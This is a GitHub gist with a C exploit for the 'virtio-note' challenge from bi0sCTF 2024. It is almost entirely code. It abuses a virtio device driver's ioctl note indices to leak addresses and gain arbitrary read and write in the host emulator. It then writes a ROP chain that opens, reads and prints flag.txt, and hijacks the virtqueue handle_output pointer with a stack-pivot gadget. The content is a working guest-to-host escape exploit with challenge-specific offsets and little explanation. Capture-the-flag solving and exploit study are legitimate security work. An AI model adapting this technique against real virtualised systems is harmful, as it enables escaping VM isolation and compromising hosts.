Skip to content

Instantly share code, notes, and snippets.

@k1R4
Created February 26, 2024 18:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k1R4/790f17cf583b8431d47f3c334c9576f4 to your computer and use it in GitHub Desktop.
Save k1R4/790f17cf583b8431d47f3c334c9576f4 to your computer and use it in GitHub Desktop.
virtio-note - bi0sCTF 2024
#define _GNU_SOURCE
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct
{
unsigned int idx;
char *buf;
} arg_t;
arg_t arg;
int fd;
void error(const char *err)
{
perror(err);
exit(1);
}
void __vn_read(unsigned int idx, void *buf)
{
arg.idx = idx;
arg.buf = buf;
if(ioctl(fd, 0, &arg)) error("ioctl::read");
}
unsigned long vn_read(unsigned int idx)
{
char buf[0x40];
__vn_read(idx, buf);
return *(unsigned long *)buf;
}
void vn_write(unsigned int idx, unsigned long value)
{
char buf[0x40];
__vn_read(idx, buf);
*(unsigned long *)buf = value;
if(ioctl(fd, 1, &arg)) error("ioctl::write");
}
void arb_write(unsigned long addr, unsigned long value)
{
vn_write(0x1e, addr);
vn_write(0x0, value);
}
unsigned long arb_read(unsigned long addr)
{
vn_write(0x1e, addr);
return vn_read(0x0);
}
int main()
{
unsigned long elf, vnote, virtq;
unsigned long pop_rdi, pop_rsi, pop_rdx, pop_rsp, pivot, xchg_edi_eax;
unsigned long _open, _read, _write, _exit;
unsigned long payload[0x18];
int i = 0;
fd = open("/dev/virtionote", O_RDWR);
if(fd < 0) error("open");
printf("[*] Opened driver with fd: %d\n", fd);
vnote = vn_read(0x3e);
printf("[+] VirtIONote => %#lx\n", vnote);
// Setup arb r/w
vn_write(0x13, vnote+0x210);
virtq = arb_read(vnote+0x208);
printf("[+] VirtQueue => %#lx\n", virtq);
elf = arb_read(vnote+0xf8) - 0x688840;
printf("[+] ELF => %#lx\n", elf);
pop_rdi = elf+0x320932;
pop_rsi = elf+0x323aaf;
pop_rdx = elf+0x31b6df;
pop_rsp = elf+0x32088e;
xchg_edi_eax = elf+0x37976e;
// 0x0000000000c785ae : lea rsp, [rbp - 0x10] ; pop r12 ; pop r13 ; pop rbp ; ret
pivot = elf+0xc9edce;
_open = elf+0xbfded0;
_read = elf+0xbfd7f0;
_write = elf+0xbfd750;
_exit = elf+0xc1eb80;
// write "flag.txt" at vnotes[1]
arb_write(vnote+0x218, *(unsigned long *)"flag.txt");
arb_write(vnote+0x220, 0);
// write ropchain to vnotes[3]
payload[i++] = pop_rdi;
payload[i++] = vnote+0x218;
payload[i++] = pop_rsi;
payload[i++] = O_RDONLY;
payload[i++] = pop_rdx;
payload[i++] = 0;
payload[i++] = _open;
payload[i++] = xchg_edi_eax;
payload[i++] = pop_rsi;
payload[i++] = vnote+0x300;
payload[i++] = pop_rdx;
payload[i++] = 0x50;
payload[i++] = _read;
payload[i++] = pop_rdi;
payload[i++] = STDOUT_FILENO;
payload[i++] = _write;
payload[i++] = _exit;
for(int i = 0; i < sizeof(payload)/8; i++)
{
arb_write(vnote+0x228+i*8, payload[i]);
}
// write smol chain to pivot again
arb_write(vnote+0x8, pop_rsp);
arb_write(vnote+0x10, vnote+0x228);
// vnote->vnq->handle_output = pivot gadget
arb_write(virtq+0x58, pivot);
// trigger RIP hijack
vn_read(0x1337);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment